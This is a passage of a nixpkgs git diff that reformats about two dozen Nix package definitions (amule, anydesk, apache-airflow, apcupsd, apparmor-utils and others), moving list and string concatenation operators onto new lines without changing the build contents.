+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for f in $out/bin/*; do
+      wrapProgram $f \
+        --prefix PATH : ${lib.makeBinPath [ amneziawg-go ]}
+    done
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/am/amp/package.nix b/pkgs/by-name/am/amp/package.nix
index 1c32dd578eba..80f42e08f8dc 100644
--- a/pkgs/by-name/am/amp/package.nix
+++ b/pkgs/by-name/am/amp/package.nix
@@ -34,15 +34,14 @@ rustPlatform.buildRustPackage rec {
     pkg-config
     python3
   ];
-  buildInputs =
-    [
-      openssl
-      xorg.libxcb
-      libgit2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+    xorg.libxcb
+    libgit2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   nativeCheckInputs = [
     writableTmpDirAsHomeHook
diff --git a/pkgs/by-name/am/ams/package.nix b/pkgs/by-name/am/ams/package.nix
index 9b6a8107177e..86b8f2f1c4da 100644
--- a/pkgs/by-name/am/ams/package.nix
+++ b/pkgs/by-name/am/ams/package.nix
@@ -28,18 +28,17 @@ stdenv.mkDerivation {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      ladspaH
-      libjack2
-      fftw
-      zita-alsa-pcmi
-    ]
-    ++ (with qt5; [
-      qtbase
-      qttools
-    ]);
+  buildInputs = [
+    alsa-lib
+    ladspaH
+    libjack2
+    fftw
+    zita-alsa-pcmi
+  ]
+  ++ (with qt5; [
+    qtbase
+    qttools
+  ]);
 
   meta = with lib; {
     description = "Realtime modular synthesizer for ALSA";
diff --git a/pkgs/by-name/am/amule/package.nix b/pkgs/by-name/am/amule/package.nix
index 73e1ad752ec5..69b7348417bc 100644
--- a/pkgs/by-name/am/amule/package.nix
+++ b/pkgs/by-name/am/amule/package.nix
@@ -53,17 +53,16 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      zlib
-      wxGTK32
-      perl
-      cryptopp.dev
-      libupnp
-      boost186
-    ]
-    ++ lib.optional httpServer libpng
-    ++ lib.optional client libX11;
+  buildInputs = [
+    zlib
+    wxGTK32
+    perl
+    cryptopp.dev
+    libupnp
+    boost186
+  ]
+  ++ lib.optional httpServer libpng
+  ++ lib.optional client libX11;
 
   cmakeFlags = [
     "-DBUILD_MONOLITHIC=${if monolithic then "ON" else "OFF"}"
diff --git a/pkgs/by-name/an/ananicy-cpp/package.nix b/pkgs/by-name/an/ananicy-cpp/package.nix
index b83aa1ca208a..4805e856bcd5 100644
--- a/pkgs/by-name/an/ananicy-cpp/package.nix
+++ b/pkgs/by-name/an/ananicy-cpp/package.nix
@@ -52,27 +52,25 @@ clangStdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals withBpf [
-      bpftools
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals withBpf [
+    bpftools
+  ];
 
-  buildInputs =
-    [
-      pcre2
-      spdlog
-      nlohmann_json
-      systemd
-      zlib
-    ]
-    ++ lib.optionals withBpf [
-      libbpf
-      elfutils
-    ];
+  buildInputs = [
+    pcre2
+    spdlog
+    nlohmann_json
+    systemd
+    zlib
+  ]
+  ++ lib.optionals withBpf [
+    libbpf
+    elfutils
+  ];
 
   # BPF A call to built-in function '__stack_chk_fail' is not supported.
   hardeningDisable = [
diff --git a/pkgs/by-name/an/andi/package.nix b/pkgs/by-name/an/andi/package.nix
index 06efb791d54e..17b89a5b4d6f 100644
--- a/pkgs/by-name/an/andi/package.nix
+++ b/pkgs/by-name/an/andi/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     gsl
     libdivsufsort
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
 
   configureFlags = [ (lib.enableFeature finalAttrs.finalPackage.doCheck "unit-tests") ];
 
diff --git a/pkgs/by-name/an/android-studio-tools/package.nix b/pkgs/by-name/an/android-studio-tools/package.nix
index 271051255c31..21cf5da0d646 100644
--- a/pkgs/by-name/an/android-studio-tools/package.nix
+++ b/pkgs/by-name/an/android-studio-tools/package.nix
@@ -17,15 +17,14 @@ stdenvNoCC.mkDerivation {
     hash = "sha256-dt8nwjL8wyRfBZOedCPYXh7zyeMUeH0gOPpTcpxCegU=";
   };
 
-  postPatch =
-    ''
-      find . -type f -not -path "./bin/*" -exec chmod -x {} \;
-    ''
-    + lib.optionalString stdenvNoCC.hostPlatform.isDarwin ''
-      for f in cmdline-tools/bin/*; do
-        sed -i 's|start up script for Linux|start up script for Mac|' $f
-      done
-    '';
+  postPatch = ''
+    find . -type f -not -path "./bin/*" -exec chmod -x {} \;
+  ''
+  + lib.optionalString stdenvNoCC.hostPlatform.isDarwin ''
+    for f in cmdline-tools/bin/*; do
+      sed -i 's|start up script for Linux|start up script for Mac|' $f
+    done
+  '';
 
   nativeBuildInputs = [ makeWrapper ];
 
diff --git a/pkgs/by-name/an/angband/package.nix b/pkgs/by-name/an/angband/package.nix
index ac2d60a74480..a6bd4fff0ad7 100644
--- a/pkgs/by-name/an/angband/package.nix
+++ b/pkgs/by-name/an/angband/package.nix
@@ -24,15 +24,16 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ autoreconfHook ];
-  buildInputs =
-    [ ncurses5 ]
-    ++ lib.optionals enableSdl2 [
-      SDL2
-      SDL2_image
-      SDL2_sound
-      SDL2_mixer
-      SDL2_ttf
-    ];
+  buildInputs = [
+    ncurses5
+  ]
+  ++ lib.optionals enableSdl2 [
+    SDL2
+    SDL2_image
+    SDL2_sound
+    SDL2_mixer
+    SDL2_ttf
+  ];
 
   configureFlags = lib.optional enableSdl2 "--enable-sdl2";
 
diff --git a/pkgs/by-name/an/ani-cli/package.nix b/pkgs/by-name/an/ani-cli/package.nix
index 4a9f8b82eb80..6bd3203b1040 100644
--- a/pkgs/by-name/an/ani-cli/package.nix
+++ b/pkgs/by-name/an/ani-cli/package.nix
@@ -37,17 +37,16 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ makeWrapper ];
-  runtimeInputs =
-    [
-      gnugrep
-      gnused
-      curl
-      fzf
-      ffmpeg
-      aria2
-    ]
-    ++ lib.optional chromecastSupport catt
-    ++ lib.optional syncSupport syncplay;
+  runtimeInputs = [
+    gnugrep
+    gnused
+    curl
+    fzf
+    ffmpeg
+    aria2
+  ]
+  ++ lib.optional chromecastSupport catt
+  ++ lib.optional syncSupport syncplay;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/an/anime-downloader/package.nix b/pkgs/by-name/an/anime-downloader/package.nix
index 4d8c2f932625..f2e8bd5a9a2f 100644
--- a/pkgs/by-name/an/anime-downloader/package.nix
+++ b/pkgs/by-name/an/anime-downloader/package.nix
@@ -21,27 +21,26 @@ python3.pkgs.buildPythonApplication rec {
 
   nativeBuildInputs = [ qt5.wrapQtAppsHook ];
 
-  propagatedBuildInputs =
-    [
-      aria2
-      mpv
-      nodejs
-    ]
-    ++ (with python3.pkgs; [
-      beautifulsoup4
-      cfscrape
-      click
-      coloredlogs
-      fuzzywuzzy
-      jsbeautifier
-      pycryptodome
-      pysmartdl
-      pyqt5
-      requests
-      requests-cache
-      selenium
-      tabulate
-    ]);
+  propagatedBuildInputs = [
+    aria2
+    mpv
+    nodejs
+  ]
+  ++ (with python3.pkgs; [
+    beautifulsoup4
+    cfscrape
+    click
+    coloredlogs
+    fuzzywuzzy
+    jsbeautifier
+    pycryptodome
+    pysmartdl
+    pyqt5
+    requests
+    requests-cache
+    selenium
+    tabulate
+  ]);
 
   preFixup = ''
     wrapQtApp "$out/bin/anime" --prefix PATH : ${lib.makeBinPath propagatedBuildInputs}
diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index 43a00eefe288..fd38fd2c91eb 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -55,7 +55,8 @@ buildGoModule (finalAttrs: {
     "-s"
     "-w"
     "-X=github.com/TecharoHQ/anubis.Version=v${finalAttrs.version}"
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "-extldflags=-static" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "-extldflags=-static" ];
 
   postPatch = ''
     patchShebangs ./web/build.sh
diff --git a/pkgs/by-name/an/anvil-editor/package.nix b/pkgs/by-name/an/anvil-editor/package.nix
index 918554209356..4f2e1a51d41f 100644
--- a/pkgs/by-name/an/anvil-editor/package.nix
+++ b/pkgs/by-name/an/anvil-editor/package.nix
@@ -37,14 +37,13 @@ buildGo123Module (finalAttrs: {
     modRoot = "anvil-extras";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      copyDesktopItems
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    copyDesktopItems
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [
     wayland
diff --git a/pkgs/by-name/an/anydesk/package.nix b/pkgs/by-name/an/anydesk/package.nix
index 85e0eff56e7a..c7d5ea1bbc40 100644
--- a/pkgs/by-name/an/anydesk/package.nix
+++ b/pkgs/by-name/an/anydesk/package.nix
@@ -44,43 +44,42 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-AEj4/S4k6mnCb/CagEDhpCtExB8pIqv7V2b/br4nC/8=";
   };
 
-  buildInputs =
-    [
-      atk
-      cairo
-      gdk-pixbuf
-      glib
-      gtk3
-      dbus
-      harfbuzz
-      libz
-      stdenv.cc.cc
-      pango
-      libGLU
-      libGL
-      minizip
-      freetype
-      fontconfig
-      polkit
-      polkit_gnome
-      pulseaudio
-    ]
-    ++ (with xorg; [
-      libxcb
-      libxkbfile
-      libX11
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libXmu
-      libXrandr
-      libXtst
-      libXt
-      libICE
-      libSM
-      libXrender
-    ]);
+  buildInputs = [
+    atk
+    cairo
+    gdk-pixbuf
+    glib
+    gtk3
+    dbus
+    harfbuzz
+    libz
+    stdenv.cc.cc
+    pango
+    libGLU
+    libGL
+    minizip
+    freetype
+    fontconfig
+    polkit
+    polkit_gnome
+    pulseaudio
+  ]
+  ++ (with xorg; [
+    libxcb
+    libxkbfile
+    libX11
+    libXdamage
+    libXext
+    libXfixes
+    libXi
+    libXmu
+    libXrandr
+    libXtst
+    libXt
+    libICE
+    libSM
+    libXrender
+  ]);
 
   nativeBuildInputs = [
     copyDesktopItems
diff --git a/pkgs/by-name/ap/apache-airflow/python-package.nix b/pkgs/by-name/ap/apache-airflow/python-package.nix
index afe59b458122..6e53bbefdf68 100644
--- a/pkgs/by-name/ap/apache-airflow/python-package.nix
+++ b/pkgs/by-name/ap/apache-airflow/python-package.nix
@@ -151,82 +151,81 @@ buildPythonPackage rec {
 
   disabled = pythonOlder "3.7";
 
-  propagatedBuildInputs =
-    [
-      alembic
-      argcomplete
-      asgiref
-      attrs
-      blinker
-      cached-property
-      cattrs
-      clickclick
-      colorlog
-      configupdater
-      connexion
-      cron-descriptor
-      croniter
-      cryptography
-      deprecated
-      dill
-      flask
-      flask-appbuilder
-      flask-caching
-      flask-session
-      flask-wtf
-      flask-login
-      gitpython
-      google-re2
-      graphviz
-      gunicorn
-      httpx
-      iso8601
-      importlib-resources
-      inflection
-      itsdangerous
-      jinja2
-      jsonschema
-      lazy-object-proxy
-      linkify-it-py
-      lockfile
-      markdown
-      markupsafe
-      marshmallow-oneofschema
-      mdit-py-plugins
-      numpy
-      openapi-spec-validator
-      opentelemetry-api
-      opentelemetry-exporter-otlp
-      pandas
-      pathspec
-      pendulum
-      psutil
-      pydantic
-      pygments
-      pyjwt
-      python-daemon
-      python-dateutil
-      python-nvd3
-      python-slugify
-      python3-openid
-      pyyaml
-      rich
-      rich-argparse
-      setproctitle
-      sqlalchemy
-      sqlalchemy-jsonfield
-      swagger-ui-bundle
-      tabulate
-      tenacity
-      termcolor
-      typing-extensions
-      unicodecsv
-      werkzeug
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [
-      importlib-metadata
-    ]
-    ++ providerDependencies;
+  propagatedBuildInputs = [
+    alembic
+    argcomplete
+    asgiref
+    attrs
+    blinker
+    cached-property
+    cattrs
+    clickclick
+    colorlog
+    configupdater
+    connexion
+    cron-descriptor
+    croniter
+    cryptography
+    deprecated
+    dill
+    flask
+    flask-appbuilder
+    flask-caching
+    flask-session
+    flask-wtf
+    flask-login
+    gitpython
+    google-re2
+    graphviz
+    gunicorn
+    httpx
+    iso8601
+    importlib-resources
+    inflection
+    itsdangerous
+    jinja2
+    jsonschema
+    lazy-object-proxy
+    linkify-it-py
+    lockfile
+    markdown
+    markupsafe
+    marshmallow-oneofschema
+    mdit-py-plugins
+    numpy
+    openapi-spec-validator
+    opentelemetry-api
+    opentelemetry-exporter-otlp
+    pandas
+    pathspec
+    pendulum
+    psutil
+    pydantic
+    pygments
+    pyjwt
+    python-daemon
+    python-dateutil
+    python-nvd3
+    python-slugify
+    python3-openid
+    pyyaml
+    rich
+    rich-argparse
+    setproctitle
+    sqlalchemy
+    sqlalchemy-jsonfield
+    swagger-ui-bundle
+    tabulate
+    tenacity
+    termcolor
+    typing-extensions
+    unicodecsv
+    werkzeug
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [
+    importlib-metadata
+  ]
+  ++ providerDependencies;
 
   buildInputs = [
     airflow-frontend
@@ -244,17 +243,16 @@ buildPythonPackage rec {
   # above
   INSTALL_PROVIDERS_FROM_SOURCES = "true";
 
-  postPatch =
-    ''
-      # https://github.com/apache/airflow/issues/33854
-      substituteInPlace pyproject.toml \
-        --replace '[project]' $'[project]\nname = "apache-airflow"\nversion = "${version}"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Fix failing test on Hydra
-      substituteInPlace airflow/utils/db.py \
-        --replace "/tmp/sqlite_default.db" "$TMPDIR/sqlite_default.db"
-    '';
+  postPatch = ''
+    # https://github.com/apache/airflow/issues/33854
+    substituteInPlace pyproject.toml \
+      --replace '[project]' $'[project]\nname = "apache-airflow"\nversion = "${version}"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Fix failing test on Hydra
+    substituteInPlace airflow/utils/db.py \
+      --replace "/tmp/sqlite_default.db" "$TMPDIR/sqlite_default.db"
+  '';
 
   pythonRelaxDeps = [
     "colorlog"
@@ -276,7 +274,8 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [
     "airflow"
-  ] ++ providerImports;
+  ]
+  ++ providerImports;
 
   preCheck = ''
     export AIRFLOW_HOME=$HOME
diff --git a/pkgs/by-name/ap/apache-orc/package.nix b/pkgs/by-name/ap/apache-orc/package.nix
index c6cdcf71ad8f..cb42bcc4cf41 100644
--- a/pkgs/by-name/ap/apache-orc/package.nix
+++ b/pkgs/by-name/ap/apache-orc/package.nix
@@ -53,20 +53,19 @@ stdenv.mkDerivation (finalAttrs: {
     zstd
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
-      (lib.cmakeBool "BUILD_JAVA" false)
-      (lib.cmakeBool "STOP_BUILD_ON_WARNING" true)
-      (lib.cmakeBool "INSTALL_VENDORED_LIBS" false)
-    ]
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # Fix (RiscV) cross-compilation
-      # See https://github.com/apache/orc/issues/2334
-      (lib.cmakeFeature "HAS_PRE_1970_EXITCODE" "0")
-      (lib.cmakeFeature "HAS_POST_2038_EXITCODE" "0")
-      (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-Wno-unused-parameter")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
+    (lib.cmakeBool "BUILD_JAVA" false)
+    (lib.cmakeBool "STOP_BUILD_ON_WARNING" true)
+    (lib.cmakeBool "INSTALL_VENDORED_LIBS" false)
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # Fix (RiscV) cross-compilation
+    # See https://github.com/apache/orc/issues/2334
+    (lib.cmakeFeature "HAS_PRE_1970_EXITCODE" "0")
+    (lib.cmakeFeature "HAS_POST_2038_EXITCODE" "0")
+    (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-Wno-unused-parameter")
+  ];
 
   env = {
     GTEST_HOME = gtest.dev;
diff --git a/pkgs/by-name/ap/apbs/package.nix b/pkgs/by-name/ap/apbs/package.nix
index ef3affff4068..db801d5ad865 100644
--- a/pkgs/by-name/ap/apbs/package.nix
+++ b/pkgs/by-name/ap/apbs/package.nix
@@ -76,16 +76,15 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
   ];
 
-  buildInputs =
-    [
-      fetk
-      suitesparse
-      blas
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libintl
-    ];
+  buildInputs = [
+    fetk
+    suitesparse
+    blas
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libintl
+  ];
 
   cmakeFlags = [
     "-DPYTHON_VERSION=${python3.version}"
diff --git a/pkgs/by-name/ap/apcupsd/package.nix b/pkgs/by-name/ap/apcupsd/package.nix
index 2c04890a04b3..aba4a4a1b9bd 100644
--- a/pkgs/by-name/ap/apcupsd/package.nix
+++ b/pkgs/by-name/ap/apcupsd/package.nix
@@ -38,20 +38,19 @@ stdenv.mkDerivation rec {
       libusb-compat-0_1
     ];
 
-  prePatch =
-    ''
-      sed -e "s,\$(INSTALL_PROGRAM) \$(STRIP),\$(INSTALL_PROGRAM)," \
-          -i ./src/apcagent/Makefile ./autoconf/targets.mak
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/apcagent/Makefile \
-        --replace-fail "Applications" "$out/Applications"
-      substituteInPlace include/libusb.h.in \
-        --replace-fail "@LIBUSBH@" "${libusb-compat-0_1.dev}/include/usb.h"
-      substituteInPlace platforms/darwin/Makefile \
-        --replace-fail "/Library/LaunchDaemons" "$out/Library/LaunchDaemons" \
-        --replace-fail "/System/Library/Extensions" "$out/System/Library/Extensions"
-    '';
+  prePatch = ''
+    sed -e "s,\$(INSTALL_PROGRAM) \$(STRIP),\$(INSTALL_PROGRAM)," \
+        -i ./src/apcagent/Makefile ./autoconf/targets.mak
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/apcagent/Makefile \
+      --replace-fail "Applications" "$out/Applications"
+    substituteInPlace include/libusb.h.in \
+      --replace-fail "@LIBUSBH@" "${libusb-compat-0_1.dev}/include/usb.h"
+    substituteInPlace platforms/darwin/Makefile \
+      --replace-fail "/Library/LaunchDaemons" "$out/Library/LaunchDaemons" \
+      --replace-fail "/System/Library/Extensions" "$out/System/Library/Extensions"
+  '';
 
   preConfigure = ''
     sed -i 's|/bin/cat|${coreutils}/bin/cat|' configure
@@ -59,33 +58,32 @@ stdenv.mkDerivation rec {
 
   # ./configure ignores --prefix, so we must specify some paths manually
   # There is no real reason for a bin/sbin split, so just use bin.
-  configureFlags =
-    [
-      "--bindir=${placeholder "out"}/bin"
-      "--sbindir=${placeholder "out"}/bin"
-      "--sysconfdir=${placeholder "out"}/etc/apcupsd"
-      "--mandir=${placeholder "out"}/share/man"
-      "--with-halpolicydir=${placeholder "out"}/share/halpolicy"
-      "--localstatedir=/var"
-      "--with-nologin=/run"
-      "--with-log-dir=/var/log/apcupsd"
-      "--with-pwrfail-dir=/run/apcupsd"
-      "--with-lock-dir=/run/lock"
-      "--with-pid-dir=/run"
-      "--enable-usb"
-      "ac_cv_path_WALL=${wall}/bin/wall"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "ac_cv_path_SHUTDOWN=${systemd}/sbin/shutdown"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "ac_cv_path_SHUTDOWN=/sbin/shutdown"
-      "ac_cv_func_which_gethostbyname_r=no"
-    ]
-    ++ lib.optionals enableCgiScripts [
-      "--enable-cgi"
-      "--with-cgi-bin=${placeholder "out"}/libexec/cgi-bin"
-    ];
+  configureFlags = [
+    "--bindir=${placeholder "out"}/bin"
+    "--sbindir=${placeholder "out"}/bin"
+    "--sysconfdir=${placeholder "out"}/etc/apcupsd"
+    "--mandir=${placeholder "out"}/share/man"
+    "--with-halpolicydir=${placeholder "out"}/share/halpolicy"
+    "--localstatedir=/var"
+    "--with-nologin=/run"
+    "--with-log-dir=/var/log/apcupsd"
+    "--with-pwrfail-dir=/run/apcupsd"
+    "--with-lock-dir=/run/lock"
+    "--with-pid-dir=/run"
+    "--enable-usb"
+    "ac_cv_path_WALL=${wall}/bin/wall"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "ac_cv_path_SHUTDOWN=${systemd}/sbin/shutdown"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "ac_cv_path_SHUTDOWN=/sbin/shutdown"
+    "ac_cv_func_which_gethostbyname_r=no"
+  ]
+  ++ lib.optionals enableCgiScripts [
+    "--enable-cgi"
+    "--with-cgi-bin=${placeholder "out"}/libexec/cgi-bin"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ap/apfs-fuse/package.nix b/pkgs/by-name/ap/apfs-fuse/package.nix
index 279c6a3e62de..a7a3ec534c00 100644
--- a/pkgs/by-name/ap/apfs-fuse/package.nix
+++ b/pkgs/by-name/ap/apfs-fuse/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation {
     (if stdenv.hostPlatform.isDarwin then fuse else fuse3)
     bzip2
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isLinux attr;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux attr;
 
   cmakeFlags = lib.optional stdenv.hostPlatform.isDarwin "-DUSE_FUSE3=OFF";
 
diff --git a/pkgs/by-name/ap/apkeditor/package.nix b/pkgs/by-name/ap/apkeditor/package.nix
index 37802a4901fa..b4e566d23ad5 100644
--- a/pkgs/by-name/ap/apkeditor/package.nix
+++ b/pkgs/by-name/ap/apkeditor/package.nix
@@ -40,7 +40,8 @@ let
               fromSource
               binaryBytecode # mitm cache
             ];
-          } // args.meta;
+          }
+          // args.meta;
         }
       );
     in
diff --git a/pkgs/by-name/ap/apostrophe/package.nix b/pkgs/by-name/ap/apostrophe/package.nix
index 9321570e2583..72bc3d344647 100644
--- a/pkgs/by-name/ap/apostrophe/package.nix
+++ b/pkgs/by-name/ap/apostrophe/package.nix
@@ -45,18 +45,17 @@ python3Packages.buildPythonApplication {
   pname = "apostrophe";
   pyproject = false;
 
-  postPatch =
-    ''
-      substituteInPlace build-aux/meson_post_install.py \
-        --replace-fail 'gtk-update-icon-cache' 'gtk4-update-icon-cache'
+  postPatch = ''
+    substituteInPlace build-aux/meson_post_install.py \
+      --replace-fail 'gtk-update-icon-cache' 'gtk4-update-icon-cache'
 
-      patchShebangs --build build-aux/meson_post_install.py
-    ''
-    # Use mathjax from nixpkgs to avoid loading from CDN
-    + ''
-      substituteInPlace apostrophe/preview_converter.py \
-        --replace-fail "--mathjax" "--mathjax=file://${nodePackages.mathjax}/lib/node_modules/mathjax/es5/tex-chtml-full.js"
-    '';
+    patchShebangs --build build-aux/meson_post_install.py
+  ''
+  # Use mathjax from nixpkgs to avoid loading from CDN
+  + ''
+    substituteInPlace apostrophe/preview_converter.py \
+      --replace-fail "--mathjax" "--mathjax=file://${nodePackages.mathjax}/lib/node_modules/mathjax/es5/tex-chtml-full.js"
+  '';
 
   # Should be done in postInstall, but meson checks this eagerly before build
   preConfigure = ''
diff --git a/pkgs/by-name/ap/apparmor-parser/package.nix b/pkgs/by-name/ap/apparmor-parser/package.nix
index 2199423a37be..aa21b93bf592 100644
--- a/pkgs/by-name/ap/apparmor-parser/package.nix
+++ b/pkgs/by-name/ap/apparmor-parser/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation (finalAttrs: {
     "POD2MAN=${lib.getExe' buildPackages.perl "pod2man"}"
     "POD2HTML=${lib.getExe' buildPackages.perl "pod2html"}"
     "MANDIR=share/man"
-  ] ++ lib.optional finalAttrs.doCheck "PROVE=${lib.getExe' perl "prove"}";
+  ]
+  ++ lib.optional finalAttrs.doCheck "PROVE=${lib.getExe' perl "prove"}";
 
   installFlags = [
     "DESTDIR=$(out)"
diff --git a/pkgs/by-name/ap/apparmor-utils/package.nix b/pkgs/by-name/ap/apparmor-utils/package.nix
index 06e773dcc5f9..62cb71d218f5 100644
--- a/pkgs/by-name/ap/apparmor-utils/package.nix
+++ b/pkgs/by-name/ap/apparmor-utils/package.nix
@@ -20,21 +20,20 @@ python3Packages.buildPythonApplication {
   pname = "apparmor-utils";
   inherit (libapparmor) version src;
 
-  postPatch =
-    ''
-      patchShebangs .
-      cd utils
+  postPatch = ''
+    patchShebangs .
+    cd utils
 
-      substituteInPlace aa-remove-unknown \
-        --replace-fail "/lib/apparmor/rc.apparmor.functions" "${apparmor-parser}/lib/apparmor/rc.apparmor.functions"
-      substituteInPlace Makefile \
-        --replace-fail "/usr/include/linux/capability.h" "${linuxHeaders}/include/linux/capability.h"
-      sed -i -E 's/^(DESTDIR|BINDIR|PYPREFIX)=.*//g' Makefile
-      sed -i aa-unconfined -e "/my_env\['PATH'\]/d"
-    ''
-    + (lib.optionalString stdenv.hostPlatform.isMusl ''
-      sed -i Makefile -e "/\<vim\>/d"
-    '');
+    substituteInPlace aa-remove-unknown \
+      --replace-fail "/lib/apparmor/rc.apparmor.functions" "${apparmor-parser}/lib/apparmor/rc.apparmor.functions"
+    substituteInPlace Makefile \
+      --replace-fail "/usr/include/linux/capability.h" "${linuxHeaders}/include/linux/capability.h"
+    sed -i -E 's/^(DESTDIR|BINDIR|PYPREFIX)=.*//g' Makefile
+    sed -i aa-unconfined -e "/my_env\['PATH'\]/d"
+  ''
+  + (lib.optionalString stdenv.hostPlatform.isMusl ''
+    sed -i Makefile -e "/\<vim\>/d"
+  '');
 
   format = "other";
   strictDeps = true;
diff --git a/pkgs/by-name/ap/appflowy/package.nix b/pkgs/by-name/ap/appflowy/package.nix
index 0a02c4da1ddc..5f784373cee0 100644
--- a/pkgs/by-name/ap/appflowy/package.nix
+++ b/pkgs/by-name/ap/appflowy/package.nix
@@ -41,7 +41,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     makeWrapper
     copyDesktopItems
-  ] ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
 
   buildInputs = [
     gtk3
diff --git a/pkgs/by-name/ap/appimageupdate/package.nix b/pkgs/by-name/ap/appimageupdate/package.nix
index a39187409b4b..b0ff7b158f7e 100644
--- a/pkgs/by-name/ap/appimageupdate/package.nix
+++ b/pkgs/by-name/ap/appimageupdate/package.nix
@@ -44,28 +44,26 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '<local dev build>' '<nixpkgs build>'
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals withQtUI [
-      qt5.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals withQtUI [
+    qt5.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      zsync2
-      libcpr
-      libgcrypt
-      libappimage
-      argagg
-      nlohmann_json
-      gpgme
-    ]
-    ++ lib.optionals withQtUI [
-      qt5.qtbase
-    ];
+  buildInputs = [
+    zsync2
+    libcpr
+    libgcrypt
+    libappimage
+    argagg
+    nlohmann_json
+    gpgme
+  ]
+  ++ lib.optionals withQtUI [
+    qt5.qtbase
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "USE_SYSTEM_ZSYNC2" true)
diff --git a/pkgs/by-name/ap/apple-sdk/common/add-core-symbolication.nix b/pkgs/by-name/ap/apple-sdk/common/add-core-symbolication.nix
index ebf7bf69ca30..68704a0d4a4c 100644
--- a/pkgs/by-name/ap/apple-sdk/common/add-core-symbolication.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/add-core-symbolication.nix
@@ -40,12 +40,10 @@ let
   });
 in
 self: super: {
-  buildPhase =
-    super.buildPhase or ""
-    + ''
-      mkdir -p System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/Headers
-      ln -s A System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/Current
-      ln -s Versions/Current/Headers System/Library/PrivateFrameworks/CoreSymbolication.framework/Headers
-      cp '${CoreSymbolication}/include/'*.h System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/Headers
-    '';
+  buildPhase = super.buildPhase or "" + ''
+    mkdir -p System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/Headers
+    ln -s A System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/Current
+    ln -s Versions/Current/Headers System/Library/PrivateFrameworks/CoreSymbolication.framework/Headers
+    cp '${CoreSymbolication}/include/'*.h System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/Headers
+  '';
 }
